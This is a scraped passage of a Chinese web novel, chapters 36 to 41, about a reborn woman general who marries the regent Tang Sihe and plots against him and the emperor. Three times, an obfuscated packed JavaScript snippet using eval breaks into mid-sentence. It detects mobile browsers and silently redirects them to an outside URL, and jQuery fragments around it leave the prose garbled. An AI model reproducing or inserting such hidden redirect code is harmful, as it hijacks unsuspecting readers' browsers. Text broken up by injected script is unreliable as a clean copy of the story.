许是被人叫惯了沈小姐,沈道溦神色微愣,但随即反应过来:“不谢,举手之劳而已。” “沈状元来此莫不是来求姻缘的?”叶袭宸笑得有些肆意:“来和尚庙求姻缘?” “姻缘自有天定,我是来求死的。” “求死?” 此话一出,不仅是叶袭宸惊得直起身子,连身旁的若云也是吃了一惊,眼眶里登时盛满了泪水。 那日主子说的话她尚且还记得。 “我来问佛祖,我沈道溦除了病死在床榻前,还有没有旁的死法。” 叶袭宸的神色有了些许凝重,她走到沈道溦面前,半开玩笑半是正经道:“若是你的身子能撑到我战死的时候,恐怕会有旁的死法。” “什么?”沈道溦困惑地眨了眨眼睛。 “为我泪尽而亡。” 此话一出,两人都禁不住笑了。连若云也是破涕为笑,她素知叶袭宸最喜貌美男子,不成想如今居然连女子也调戏上了。 思绪回到现在,若云看着自家主子满脸泪水,很是担心当年叶袭宸的话一语成谶。然而自家主子却是已经擦干了眼泪站起来,甚至是极其惬意地打了个哈欠,睡眼惺忪。 “走,回去睡个好觉,为明日的成亲养精蓄锐。” 37. 第 37 章 第37章 十里红妆。 浩浩荡荡的成亲队伍几乎占满了好几条街道,醒目的红色想叫旁人忽略都难。唐锶谐难得一袭红衣,他坐在高头大马上,走在队伍的前头。 按理说这是高嫁,沈府再如何也比不得摄政王的门槛高。又加之先前沈府犯了事儿,本应是沈秋实骑着马去送亲,但是不成想唐锶谐直接骑着马来迎亲了。 沈奉的脸上很是光彩,苍苍白发中夹杂了几丝黑色。亲朋好友纷纷恭维着,都道沈奉时来运转了。 叶袭宸的众人的欢呼声中上了花轿。 平生头一遭坐花轿,这种感觉还真有些新鲜。她的怀里放着若云早就准备好的蜜糖瓜子,如今全都一股脑扔出去。街边的平头百姓争先恐后地去捡,皇家的喜气不沾白不沾。 叶袭宸一把扯下了红盖头,脑袋探出窗户,向百姓们招手示意。 新娘子抛头露面,这成何体统? 随行的若云和喜娘们都吓得够呛,若云慌张地往把叶袭宸往轿子里推,叶袭宸却拼命要往外钻。 “轿子里太闷了,我出来透透气。” 百姓们更加兴奋,纷纷高声欢呼。 “王妃好生平易近人。” “人也长得十分美丽。” “摄政王当真有福气。” 唐锶谐走在队伍的最前头,听着这些议论,神情无波无澜,唇角却不由自主地向上勾起。 队伍很快就到了摄政王府,府内早已是门庭若市,一片喜气洋洋。 叶袭宸下了花轿,没有盖盖头,只是顶着一张明媚的面庞。宾客们纷纷议论起来,唐锶谐也是着实吃了一惊。一惊头一次见到叶袭宸这般浓妆的模样,竟别有一番滋味。二惊她抛头露面的行为,没成想有朝一日她也会如此。 唐锶谐抿紧了唇角,银白色面具下的那双眸子变得有些许深沉。他不置可否,只是按照流程走下去。 唐锶谐和叶袭宸分别拿着喜结的一头,双双走入府内。敬拜天地高堂后,两人夫妻对拜。叶袭宸注意到高堂之上摆着的只是两个牌位,上面却没有刻字。 甚是奇怪。 夫妻对拜后新娘本该送入新房,可叶袭宸却偏要和唐锶谐一道陪着宾客们喝酒。不等唐锶谐答应或是拒绝,她早已举起了酒杯,一饮而尽。 宾客们自然不乏女客人,她们纷纷敬着叶袭宸。叶袭宸敬完这一桌又去敬另外一桌,兴致起来了还和客人划拳行酒。 “高高的山上一头牛啊,两个犄角一碰头啊……” 叶袭宸划拳很是厉害,和她划拳的客人全都败在了她的手下。唐锶谐一面和旁的客人喝酒,一面注视着她的动作,一双精明的眸子不由得微微眯了起来。不知为何,他总觉得那动作甚是熟悉。 那是在与北蛮人打仗的一个夜晚,空气中弥漫着血腥的味道。篝火里的木柴噼里啪啦地烧着,却莫名带来一种名叫安心的味道。 但其实他们已经围困在这个山谷里三天了,身旁只有几十人,然而却要面对北蛮人的一千人马。 十几个受伤的士兵疼得脸色都发白了,然而在这荒山野岭也没有药物涂抹,也没有大夫医治,只能眼睁睁地看着伤口发炎流脓。 唐锶谐虽然没有受伤,但是也是狼狈不堪。他沉默着走过一堆堆篝火,终于在一个蜷缩在角落里睡着的人前停下。 她睡得很是香甜,即便是在如此这般朝不保夕的日子里也能睡得着,满是血污的唇角似乎还勾着一抹若有若无的微笑。 唐锶谐一直紧绷着的面庞终于露出了些许柔和。 从进入军营的第一天起,他便知道她是女子,也知道她是长公主花疏玉特意安排进来的。如今朝堂上下皆有长公主的势力,唯独军营里没有,的确无法与梁王抗衡。 是以他也睁一只闭一只眼了。 她的身形并不瘦弱,个头不亚于一般男子,身体也十分有力量,出招还又快又狠。长相偏中性,眉宇之间自带一股英气。是以除了他之外,再无旁人怀疑她是女子。 在军营的一年,她 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两人的拇指碰到了一起,他的心底涌起异样的情绪,抬眸看向对面的女子。她的面庞被火映照得通红,连带着脸上的血污都有些狰狞。 然而此时此刻她的面庞却与正在与客人们喝酒喝得正欢的沈道溦重合。 道溦的长相端庄大气,即便常年透着一股子病态也十分有仪态。她与叶袭宸是完全不同的两种类型,此时此刻却奇妙诡异地融合在了一起。 他觉得道溦的面相变了。 唐锶谐闭了闭眼睛,复又睁开,然而看到的依旧是沈道溦。他不由得扶额苦笑了一声,许是今日是自己成亲的日子,心绪打结到出现幻觉了。 叶袭宸大喝了一场,喝得十分尽兴,直到外头传来太监的通报声。 “皇上驾到——” 花疏叶今日也来了。 叶袭宸双眼迷离,与唐锶谐一同将皇上迎了进来。花疏叶依旧还是那副做派,尚未喝酒就已经醉了三分。 38. 第 38 章 委实有几分意思。 叶袭宸心内轻笑,嘴上功夫却不停止。回眸时却见唐锶谐的目光紧紧锁定在自己身上,但见自己深深望着他,他又垂下视线。对视虽然只有仅仅一瞬,但叶袭宸却从他的眼睛里看到了几分探究。 屋子中央的三人各怀心思,叶袭宸唇角微勾。其实也并不奇怪,位高权重者心思都极重。 叶袭宸与唐锶谐啃完了苹果,唇角也情不自禁地贴合到了一起。如此行为在大庭广众之下实属罕见,但由于是皇上主导而成,是以在场宾客纷纷起笑,声音大得险些要将整个屋顶掀翻。 叶袭宸倒是不甚在意,但唐锶谐却是招架不住了。这人向来以清冷闻名,如此被宾客取笑,他有种被旁人戏耍的感觉。 自担任摄政王以来,虽大权在握,他可以为所欲为,但他从来没有对皇上疾言厉色过,但今日却是破了戒了。 然表面功夫却是要做足的。只见唐锶谐退后半步,双手拱于身前行礼:“皇上,今日便到此为止吧,微臣有些乏了。” 花疏叶半分没有退让的意味,“倘若朕说继续呢?” “微臣不陪了。”唐锶谐也并没有给花疏叶留半分颜面,握住叶袭宸的手迈开大步而去。 在场宾客纷纷为其让道,在场的人都是人精,谁会看不出花疏叶与唐锶谐之间的暗流涌动。 花疏叶此人不着调,在大衍朝人均含蓄内敛的风气之下,居然当众逼迫摄政王与其夫人行亲热之事。 是个正常人都会觉得不妥,可此人偏偏是皇上,还是一个没有实权空有架子的皇上,这是否可以解释为皇上已经看不顺摄政王了。 在场宾客看热闹者居多,其实早就盼望这一刻了,是以他们早就暗自站队。但自从花疏叶复位,任命大将军唐锶谐为摄政王以来,两人居然一直相安无事。 花疏叶不理政事,唐锶谐多有代劳,但与此同时也相劝他要勤于政务,不可贪图享乐。然说归说,劝归劝,花疏叶却一直我行我素。唐锶谐居然也不甚在意,只是日复一日地规劝。 似是在做无用功,但更像是在维持着两人之间的平衡。二人从未红脸过,起码在朝臣前没有过。 但今日这种平衡却是打破了,而且还是花疏叶主动的。难道是他嫌如今的日子太过滋润,所以自寻死路吗? 不,是人都会爱财惜命,更有力的解释便是花疏叶已然做好与摄政王抗争到底的地步。 一场皇权的争夺大战即将展开。 众人心思各异,目送唐锶谐与叶袭宸离开后,纷纷看向屋子中央的花疏叶。 是,他是皇帝,虽然没有实权,终日嬉皮笑脸,但是依旧是皇帝。立即有人上前,大骂唐锶谐: “摄政王今日居然敢如此不给皇上颜面,微臣以为该重重惩处!” 这是一位老臣,神情义愤填膺。 但也有人站出来为唐锶谐说情。 “皇上,万万不可。摄政王平日对皇上尊敬有加,从来不敢做任何逾矩之事。今日只是酒喝多了些,还请皇上切不可因此等小事降罪于摄政王。” “此言差矣!若是不加以惩处,日后恐怕人人都敢以下犯上了!” “摄政王不过是一时醉酒而已,试问何人喝醉之时尚且还有理智!” “醉酒就可以下犯上了吗?日后人人都要拿这个借口来冒犯皇上了!” “你……” 两人争得面红脖子粗,一直尚未开口说话的花疏叶终于开口了。 “够了!” 这一声中气十足,神情严肃,与往日花疏叶吊儿郎当的模样甚是不同。 “摄政王助朕复位,如果没有摄政王,何来朕的江山!” 这一句态度明确,先前那个口口声声要惩处摄政王的官员不由得缩了缩脖子。 “今日之事是朕的错,朕去与摄政王赔个不是。你们各自散去吧。” 说完,花疏叶便昂首阔步地朝外走去。 气势不似道歉,倒像是去示威的。 众人面面相觑,四散离开。 唐锶谐与叶袭宸正在偏厅。叶袭宸看得出,唐锶谐委实气得不轻,左拳尚且还在桌上。 叶袭宸也不劝,只是静静地坐着。 透过方才那番情形,叶袭宸心中得出了两个结论。 花疏叶这个皇帝做得委实窝囊。 唐锶谐这个摄政王做得也委实窝囊。 两人都看起来空有壳子没有实权的样子。 叶袭宸心内冷笑。 前世唐锶谐讨伐她时,一口一个清君侧,一口一个诛叶贼,根本就没承认自己这个皇帝。如今花疏叶复位了,他倒是承认得痛快,甚至连白给的权利也不想要。 花疏叶也不知是忌惮唐锶谐还是旁的什么原因,居然也不管不顾,是以两人形成了如今互相推诿怕,谁都窝囊的情形。 既然他们二人都不想要权力,那便自己来代劳好了。 首先除掉的便是唐锶谐。 不过今日花疏叶居然敢当着众宾客的面美其名曰闹洞房,带给唐锶谐的羞辱绝对不是一星半点儿。 鲜有人得知,名门望族中的败类有个极其变态的嗜好,那便是聚众看动物交合,且不限物种。对唐锶谐而言,方才的他无异于供人观赏取笑的动物。 叶袭宸眼见唐锶谐的拳头越握越紧,甚至要起身来回走动以稍降心中火气时,心里就不由得连连发笑。 前世她见唐锶谐这般模样仅是在自己调戏他之时,旁的时候他都面无表情。然话又说回来,他常年面具遮面,即便有表情自己恐怕也看不明白。 叶袭宸已然有些困乏,她懒懒地打了个哈欠,心想唐锶谐今晚是不会到自己房中来了,便想自行回新房去休息。然脚刚迈出门槛,就见花疏叶急匆匆而来。 他的视线落在叶袭宸身上一瞬,眸中似有水光闪动。叶袭宸心中怪异,然不等她去探究那水光究竟因何而起,花疏叶便扑通一声跪倒在唐锶谐面前。 这种情形,不光是唐锶谐,就连叶袭宸都惊了一惊。唐锶谐急忙把花疏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17077262|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶扶起来,神情惊慌:“皇上何必如此?折煞微臣了。” “方才是我的过错,摄政王千万不要动怒。”花疏叶眼中含泪,情真意切。 唐锶谐立马给花疏叶跪了下来:“皇上!微臣惶恐。方才是微臣气急了,让皇上失了面子,请皇上降罪!” “爱卿何罪之有?”花疏叶将唐锶谐扶起来:“是朕一时来了兴致,让爱卿难堪了,也让沈状元难堪了。” 叶袭宸本是双手环胸静静看戏,不想话头居然到了自己身上。她只得与唐锶谐跪在一起,低头道:“臣妇惶恐。” 花疏叶又是一番自责,唐锶谐又是一番认罪。叶袭宸的腿脚已跪得发麻,心里只想将这两个虚情假意的家伙全都割了舌头。 然而这二人似是不说干口水不罢休一般,一直在互相自责认罪。 难道两年之间这两个家伙都是这般相处的吗? 真是叫人看了倒尽胃口。 外面夜色渐淡,东方隐隐吐出鱼肚白。花疏叶早已哭倒在地,唐锶谐也流了不少眼泪。 这种君臣情深的戏码叶袭宸看倦了。 唐锶谐叫人抬了花疏叶回去,大太监德信进来时误以为花疏叶驾鹤西去了,吓得失魂落魄,大骂唐锶谐有不臣之心。 经过唐锶谐一番解释后才半信半疑。 唐锶谐显得依依不舍,人还跟着相送几步后堪堪停下,驻足远望。 叶袭宸困得眼皮子都沉下来了,却被唐锶谐一把揽入怀里。 “道溦。”唐锶谐声音嘶哑:“十二年了,十二年后我又感觉到彼此之间的情谊了。” 唐锶谐的情绪外泄得有些严重,换做平常,他绝对不会说出这种话来。 叶袭宸的困意全都被唐锶谐的异常驱赶走了。 十二年。 这个时间很是巧妙。 十二年前,太子花疏玟中了梁王花疏言的奸计,误以为老皇要废黜自己,另立太子,更要置自己于死地。心灰意冷之际,愤然饮下毒酒,与世长辞。太子伴读唐锶谐率府兵前来相救,失败后不知所踪,唐府满门抄斩。 同年花疏玉带着八岁的花疏叶下江南暂避风头,因此与叶袭宸结识。 情谊? 唐锶谐说的是何种情谊? 难不成是将花疏叶当成了花疏玟的替身,由此而产生的君臣之义? 就在叶袭宸思索的时候,唐锶谐已然恢复了少许平静。他松开了叶袭宸,挽起她的手,满是歉意:“道溦,昨夜让你受苦了。可否看在我的颜面上,不要记恨皇上?” “这是说的什么话?”叶袭宸轻轻一笑:“他是当今皇上,我又怎敢心生怨恨?” 唐锶谐失望地摇了摇头:“道溦,你莫非也学了那些阳奉阴违的官话?我要的是你心中全无怨恨,而不是因他是皇上而不敢怨恨。” 叶袭宸又是笑了。 唐锶谐莫不是脑子坏掉了,自己身居高位,居然还想旁人不因此而对他敬而远之,并且想当然地让旁人也对花疏叶这般。 39. 第 39 章 “主子……主子……” 叶袭宸尚且在睡梦中,便被人摇醒。她迷迷糊糊地睁开眼,若云那张担忧的面庞映入眼帘。 “怎么了?”叶袭宸拨开若云的手臂,翻了个身继续睡。 “主子,该起来用膳了。”若云坐在床边,细声细语地劝着:“今日是主子成亲的第一日,该去……” “该去什么?”叶袭宸闭着眼睛应了一声:“该去给公婆敬茶吗?唐锶谐满门抄斩,哪里还有什么父母。” “主子!”若云大惊失色:“小心被摄政王听到了。” “知道了。” 叶袭宸坐起身来,由着若云给她擦脸。 “主子,摄政王方才来过了,说主子醒了就去用膳。” 叶袭宸面上点着头,心里却将唐锶谐骂了百八十遍。 昨夜与花疏叶互诉衷肠将近一夜,今早将人送走了还不算,还要抱着她说些莫名其妙的话。她刚躺下不过一会儿,就来叫她去吃饭。 这是摆明了不叫自己好过。 一番梳洗后,叶袭宸出了院子。 唐锶谐倒是大方,王府内院落甚多。他单独给了自己一处,若是想与他睡在一处,便去与他同住。若是不想,便可待在此处院落。名字也早就起好了,和叶袭宸在沈府的名字一样,叫做暖雪阁。 叶袭宸的嫁妆不多不少,她自己能记得的就只有若云和长辞。出院子的时候长辞还在扎马步,神情认真得不得了。 她打算再过段时间就试试长辞的基本功,若是扎实了,就教些基本的腿法。 叶袭宸出院子的时候看到了林有分。 他一直是唐锶谐的护卫,出现在这里她感觉十分惊讶。 林有分原本是抱着剑依靠在墙上的,见到叶袭宸出来立即上前:“王妃,摄政王已经吩咐过了,叫我时刻跟在您的身边,保护您的安危。” 林有分是个男子,身形瘦削,个子和叶袭宸如今的身量齐平。说话温声细语,不紧不慢的,听起来如沐春风。 如果不是他不是唐锶谐派过来的人的话,叶袭宸觉得自己会很高兴的。不过话又说回来,他是唐锶谐派过来的人又如何,难道还不能反其间而用之了。 叶袭宸略微点了下头:“有劳了。” 林有分微微颔首:“不敢。” 由此,除若云外,叶袭宸身后又跟了一个林有分。一路上若云都在偷眼瞧着这位,林有分感知到了她的打量,却只是微微一笑。笑得若云三魂去了七魄,忙转移了视线。 叶袭宸到了膳厅,唐锶谐已经等候多时了。 “抱歉,来迟了。” “不迟,用膳吧。” 相较于早上的失态,唐锶谐如今的神情淡然了许多。汤匙和碗碰撞发出轻微的声音,屋内安静得近乎可以听得到心跳的声音。 前世叶袭宸也与唐锶谐吃过很多次饭,当然大多数都是在战场之上,有时候叼着馒头就去打架了。那时候自然顾不得文雅,但是一旦离开了战场,唐锶谐的讲究就又来了。不是嫌弃她喝汤的声音太大,就是抱怨她嗦骨头的动作太张扬。 横竖都是不对。 每当这时,她的逆反心理就上来了,总要将声音搞得更响。最后的结果总是唐锶谐忍无可忍,绷着脸吃完整顿饭。 其实完全可以不在一起吃饭的。 叶袭宸有时候难免这么想。 但唐锶谐不知是哪根筋搭错了,总喜欢抱着饭碗来找她。 “……道溦。” 叶袭宸一时想得入神,才意识到唐锶谐是在叫自己。她应了一声,问道:“怎么了?” “用完膳我要进宫一趟,可能会晚些回来。” “嗯。” 叶袭宸嘴上应着,心里不明白这种事情有什么单独说出来的必要吗?视线无意识瞥到尚未取下的深红色彩带,她恍惚了一阵。 哦。 叶袭宸面无表情地想。 他们成亲了。 活了两世,这还是她第一次成亲。前世净掳掠貌美男子了,成不成亲又能有什么。倒是有不少男子缠着她给个名分,可惜都被她拒绝了。是以直到死她都是孤家寡人一个。不成想活过来还不到一年,就已经成了亲,相公还是那个唐锶谐。 呃。 其实在世人眼中,成亲的应该是沈道溦。 叶袭宸问道:“进宫做什么?” “昨夜皇上哭得厉害,我进宫探望一下。” 这句话险些没叫叶袭宸笑出来,说得好像花疏叶是个还没断奶的奶娃娃似的。 唐锶谐走后,叶袭宸也回了自己的院子。她坐在台阶上,台阶上有若云事先垫的绒毯,双手托腮看着还在扎马步的长辞。 看着看着视线就转移到了旁边抱着剑的林有分身上。触及到叶袭宸的视线,林有分垂下视线,却又忍不住抬头。直到确定叶袭宸的视线是一直放在自己身上后,他直接走了过去。 态度十分恭敬。 “王妃可是有事?” “只是有一事不明。” “王妃请说。” 叶袭宸道:“皇帝孱弱无能,摄政王大权在握,为何不自己坐皇位呢?” 林有分大惊,急忙跪地:“王妃,当心隔墙有耳。” “四周都是自己的人,何来的隔墙有耳。”叶袭宸满不在乎道:“难道在自己的院落中都不能说说了。”她叹了一口气:“别跪了,快起来吧。” 林有分依言起身,眼睛都不敢看叶袭宸了。 先前看王妃训那匹只有摄政王和叶将军才能骑的马时,林有分就觉得王妃是个人物了。没想到王妃心里所图更大,居然连皇位都敢肖想! “你是摄政王身边的人,你来告诉我原因。”叶袭宸故意十分生气道:“皇上若是个任君倒也罢了,可昨夜成亲之日,皇上如此羞辱我与摄政王,可见是个昏庸的。既然如此,摄政王何不顺应民心民意,将皇上赶下去?” 林有分不得不承认,王妃说得句句在理。昨夜的事情,他们这些做下属的看了也十分生气。可摄政王不开口,他们也不敢擅自揣摩他的意思。 两年了,摄政王在这个位置上两年了都没有心生反意。有时候他们这些人私底下也在怀疑,摄政王到底是为了什么。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079611|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>朝中事务大包大揽,什么事情都要自己操心,就差个皇帝的名头了,可是摄政王却迟迟不肯迈出这一步。 难道是害怕被扣上乱臣贼子的帽子? 可是自古以来向来是胜者为王,败者为寇,史书都是胜利者书写的,摄政王何必惧怕这个? 说句大逆不道的话,摄政王在这方面还不如当年的叶将军呢。 看到林有分这般模样,叶袭宸还有什么不明白的。 果真是被自己料到了。 唐锶谐本人迂腐且难以捉摸,但他的下属可不是这样的。他可以对皇帝忠心耿耿,任其驱使毫无怨言,但越是对他忠心的下属就越会为其鸣不平。更别说昨晚还闹了这么一出,连向来淡定的唐锶谐都忍不住拂袖而去了,更何况那些血气方刚的下属了。 若是稍加挑拨,他们就会攻入皇宫,到时看唐锶谐如何处置。 想想叶袭宸都觉得是一出好戏。 院内安静无声,林有分还在斟酌,但他的回答已经无关紧要了。叶袭宸便另开了个话头,她一字一顿地念出了他的名字:“林、有、分,我发现你与谢有缘的名字还挺有趣的。” “有缘有分。” 这个问题好回答多了,林有分松了一口气:“我二人的名字都是摄政王取的。” “你与谢有缘是何时跟了摄政王的?” 叶袭宸并未记得前世的时候唐锶谐身旁出现过这两人。 “两年前。” 叶袭宸心内了然:“你与谢有缘是怎么跟了摄政王的?” “我二人本是军营里的士兵,原名阿牛和阿羊,后来因为得到摄政王的赏识,他才给我们二人改了名字。” “因何得到赏识?” 林有分摇头:“属下不知。” 叶袭宸来了兴趣:“不知?” 林有分被这一道声音生生吓出冷汗来。不知为何,他总觉得王妃会探查人心。只要视线随随便便在他身上转个来回,就能将他的心思全都看穿。 叶袭宸冷哼一声:“莫不是在讨伐叶贼的时候立下了汗马功劳吧。” 此话一出,林有分的身体硬生生打了个寒战,果不其然还是被王妃料到了。 林有分低声道:“是。” 叶袭宸笑了一声:“既是如此,为何不敢直说?” 能直说吗? 林有分心底想,王妃为了叶将军都能怼个摄政王七八回,对待自己又岂会客气,说不准哪天就找茬收拾自己。 “你的顾虑我知道,但你也要知道,我沈道溦从来不会无缘无故惩处下人。” 林有分迟疑地抬起头,正巧对上叶袭宸那双侵略的眸子。 “你只要安分守己,不行背叛之事,我自会对你多加礼遇。” 林有分低头:“是!” “走。” 叶袭宸站起身来:“随我去兰庭戏院走上一遭。” ! 林有分吓得险些站不稳了。 兰庭戏院! 那等地方岂是王妃能去的地方吗? 林有分还来不及进言,叶袭宸早已拂袖离开。 40. 第 40 章 有缘有分? 唐锶谐给两个近身护卫起这么个名字,看上去倒像个痴情的人儿。叶袭宸想想都觉得有些意思,自古英雄难过美人关,看来唐锶谐也不过如此。 林有分跟在叶袭宸身后,欲言又止:“王妃真的要去那种地方吗?” “那种地方?什么地方?” “秦楼楚馆。” “不是戏院吗?” “非也。”林有分摇头:“戏院只是一个名头罢了,里面多是骚搜弄姿的男子,不知廉耻。” “你如何知道?难不成你进去过?” “只是有所耳闻。” “眼见为实。”叶袭宸道:“还是亲自去看看为好。” 林有分叹了一口气,看来是无法阻止了。不知摄政王回来知道了这件事,会作何感想。 叶袭宸并未带若云和长辞,只带了林有分一人。林有分奇道:“若云是王妃的贴身奴婢,王妃为何不带她?” “若云从早到晚服侍我,也该有些自己的事情要做。”叶袭宸挑眉:“怎么,你不愿意与我单独前往?” “不敢。” 两人一道来了兰庭戏院。 果真如叶袭宸所料,兰庭戏院如今是大变样。才到门口,就听到里面传来咿咿呀呀的唱戏声。伴着胡琴拉响的声音,几句唱词儿钻入听客的耳中。 林有分顿感几分意外。他与叶袭宸一道迈入门中,先是一面极具山水风情的屏风,然后才是一个偌大的戏台子。 底下听客男男女女坐了一堆,皆嗑着瓜子津津有味地看着戏台子上的表演。才站了一会儿,立即就有个风情万种的女子迎上前来。 林有分不认得她,但身上那股子风尘味道却是让他能够大致猜出她先前是做什么的。 周盈见叶袭宸带了一个陌生的男子过来,笑容顿时收敛了些,在接收到叶袭宸的眼神示意后依旧含笑道:“客官里面请。” 叶袭宸点了点头,在最后一排寻了个位置坐下。林有分依旧站在她的身后,四处打量着。 叶袭宸看了他一眼:“坐吧。” 林有分收回视线,依旧道:“不敢。” 叶袭宸道:“要我拉你坐下吗?” 闻言,林有分的唇角抽动了几下。他面无表情地在叶袭宸身旁的位子上坐下,也不敢再四处张望,只是僵硬地看着戏台子上的表演。 先前有人曾看到长相与梅三刀极其相似的人在兰庭戏院出没,摄政王就想派人来一探虚实,然谁也不愿以男子身份进入这里。 这个兰庭戏院很是怪异,与外面格格不入。在这里,男子就如同玩物,毫无尊严可言。 但是扮成女子又很快会被识破,是以直到现在还没有人能进来一览光景。再加上摄政王新婚,这个地方就暂时被他们搁置了。今日若不是随着王妃一道进来,他还不知道这里已经男女尽可出入了。 方才他本想多探探虚实,不成想居然被王妃硬拉下来看戏。但实话实说,如今他的心思不在戏台子上,也不在兰庭戏院上,而是旁边这个他不敢正眼相看的王妃。 从前他对于王妃的印象只是来源于传闻,状元娘和病西子这两个字眼是他对于王妃的一贯印象。后来见她与摄政王多番斗嘴,才发觉此人的不同——心中似有所图谋。然今日却又是见识到了她的另外一面——不拘小节。 她不觉得自己这个身份低下的下属与她坐在一起是有失身份的事情。 林有分屏住了呼吸,已经在想摄政王回来后该如何向他禀报今日之事了。想得如此入迷,以至于连戏台子上的戏结束了都未曾察觉,直到一只手拍了拍他的肩膀。 “回去吧。” 叶袭宸已经起身朝外走去,林有分看了一眼自己的肩膀。 不知是王妃的分寸把握得十分恰当,还是自己的心思太过清明,他丝毫没有被女子触碰到的尴尬和羞耻,似乎只是被兄弟打了一拳般平常。 见叶袭宸已经走远,林有分急忙跟了上去。将叶袭宸送回暖雪阁后,又在唐锶谐的书房等到子时,才终于将一身疲惫的唐锶谐等回来。 “摄政王。” 林有分上前行礼。 见是林有分,唐锶谐的下巴指了指书房:“进去说。” 书房内,唐锶谐的身子陷在松软的椅子上,单手罩在额头上,拇指和中指揉着太阳穴,仔细听着林有分的汇报。 其实他原本是不想派林有分到她身边的,但是自从从沈秋实口中得知她去过兰庭戏院后,他就疑虑重重。又听到属下来报疑似梅三刀的人也曾出入兰庭戏院,他就不得不重视起来了。 听完林有分的汇报,唐锶谐的眉心并未舒展多少,只是问道:“依你之见,王妃先前去过兰庭戏院吗?” 林有分一听这话,顿时明白摄政王担心的是什么了。他不在乎王妃与梅三刀认识与否,而是在乎王妃是否与别的男子共枕而眠。 但这等事岂是他一个下属可以乱说的。即便真的有,日后王妃吹上点儿枕边风,自己哪里还有活路。 “属下不敢妄自揣测。” 唐锶谐加重了语气:“说。” 林有分只能道:“应是没有,王妃并不知晓兰庭戏院先前是做什么的。” 唐锶谐道:“那她如何知晓兰庭戏院的?” “应是听旁人说的。”林有分道:“兰庭戏院的戏很是红火,昨夜宾客中不乏有去过的。” 唐锶谐点头:“确有几分道理。”他似是疲劳了,冲林有分摆了摆手。 林有分松了口气,走出了书房。外面有谢有缘守着,见他出来,立马凑上去贱兮兮问道:“做谍者的感觉如何?” 林有分双手环胸:“你去做一次就知道了。” “我可没有这个福气。”谢有缘幸灾乐祸道:“摄政王说我不稳重,还是你比较可靠。” “若是他们不是夫妻的话,事情要简单许多。” 林有分扔下这句话后就匆匆离开。回到暖雪阁时,屋子里还亮着灯。 看来王妃还没有歇息。 屋内,叶袭宸正捧着书在灯下看着。身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081681|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁站着若云,十分不解:“主子既然不想摄政王知道自己去过兰庭戏院,今日又为何要去呢,不是不打自招了吗?” 叶袭宸翻了一页:“你以为我不想让他知道他就不会知道吗?与其等到他自己来质问,不如大大方方展示给他看好了。” “奴婢还是不解,摄政王怎么会知道的呢。” “只要他想,动动小手指就能查到。再者,不是还有沈秋实吗?”叶袭宸道:“他好不容易捡回一条性命,自然是抱紧摄政王的大腿。有这种机会,他能不去献殷勤吗?” “可是大少爷与主子都是沈府的人,一荣俱荣,一损俱损呐!若是摄政王因此悔婚,大少爷又能得到什么好处?” “在他深陷牢狱,而沈府上下束手无策的时候,他就自动将自己摘出了沈府。所有他能抓到的有利于自己的机会,他都会不顾一切。”叶袭宸啪地一声合上了书本,“在他设计制造我与星月之间的误会时,就不难看出,他是个心眼极小的人,连自己的妹妹都要忌惮。” 若云似懂非懂地点了点头,但随即又担心起来:“若是摄政王因此冷落主子,可如何是好。今天是成亲的第二夜了,摄政王还没有过来。” “他过不过来都无关紧要。”叶袭宸打了个哈欠:“日后要娶妻纳妾我也不在乎,横竖都是他自己的事情。” “可是没有摄政王的宠爱,要如何在王府生存下去呢?”若云很是担忧:“日后王府里的女人多了,谁都会来啄主子一口的。” “那是日后该操心的事情。”叶袭宸和衣躺在床上,双手垫在脑后:“说不准等到那个时候,他早已是一具尸体了。” 若云倒抽一口凉气。 叶袭宸已经闭上了眼睛:“夜深了,他应是不会来了,你也快去睡吧。” “是。” 若云正要吹灯,就听到外间响起敲门的声音。 “道溦。” 是唐锶谐的声音。 若云大喜过望,急忙打开房门将唐锶谐迎进来:“摄政王,主子还在等您。” 唐锶谐点了点头,大步迈入里间。叶袭宸背对着他躺在床上,衣衫半解,松松垮垮地露出半个肩头。 喉结不由得滚动了下。 唐锶谐轻手轻脚地走到床前,轻轻推了推叶袭宸,声音不自觉低柔下来:“道溦。” 叶袭宸呢喃一声转过身来,朦朦胧胧地睁开双眼。见是唐锶谐后,情不自禁地伸出了手。 唐锶谐不自觉地屏住呼吸,没有制止。 叶袭宸伸手拿下了那副银白色面具,继而双手捧住了他的面庞,借着月色细细地打量着他的脸颊。 温润如玉。 这是出现在叶袭宸心里的第一个词。 仿若被流水细细打磨过一般,在月色的映衬下白得近乎透明。 叶袭宸还是第一次见识到唐锶谐最真实的样子,视线侵略性地掠过他的每一寸肌肤,最后停留在那红润的唇角上。 她搂住他的脖子,将他往下一压,准确无误地堵上了他的唇。 41. 第 41 章 